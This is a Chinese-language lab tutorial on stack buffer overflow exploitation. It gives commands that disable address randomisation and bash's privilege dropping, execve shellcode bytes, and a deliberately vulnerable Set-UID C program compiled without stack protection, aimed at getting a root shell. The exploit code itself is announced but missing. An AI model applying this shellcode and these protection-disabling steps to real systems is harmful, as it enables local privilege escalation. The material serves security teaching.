缓冲区溢出
实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。实验准备
系统用户名shiyanlou
实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。
输入命令安装一些用于编译32位C程序的东西：
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev初始设置
1.输入命令“linux32”进入32位linux环境，输入“/bin/bash”使用bash用来补全tab键。
2.使用命令sudo sysctl -w kernel.randomize_va_space=0关闭地址空间随机化功能。
3.为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权（能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限）。这个防护措施在/bin/bash中实现。使用以下指令将另一个shell程序（zsh）代替/bin/bash，从而重现这一防护措施被实现之前的情形。
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
Shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}本次实验的shellcode，就是以上代码的汇编版本：\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
漏洞程序
漏洞程序读取一个名为“badfile”的文件，并将文件内容装入“buffer”。原始输入最大长度为517字节，但是在bof（）中的缓冲区只有12字节长。因为strcpy()不检查边界，将发生缓冲区溢出。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}用以下命令编译该程序，并设置SET-UID
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c（GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。-z execstack 用于允许执行栈）
chmod u+s stack（不输入此条命令最后不能获得root shell）
exit
攻击程序
攻击刚才的漏洞程序，并通过攻击获得root权限。把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：
得到shellcode在内存中的地址，输入命令：
攻击结果
先运行攻击程序exploit，再运行漏洞程序stack，观察结果：可见，通过攻击，获得了root权限！
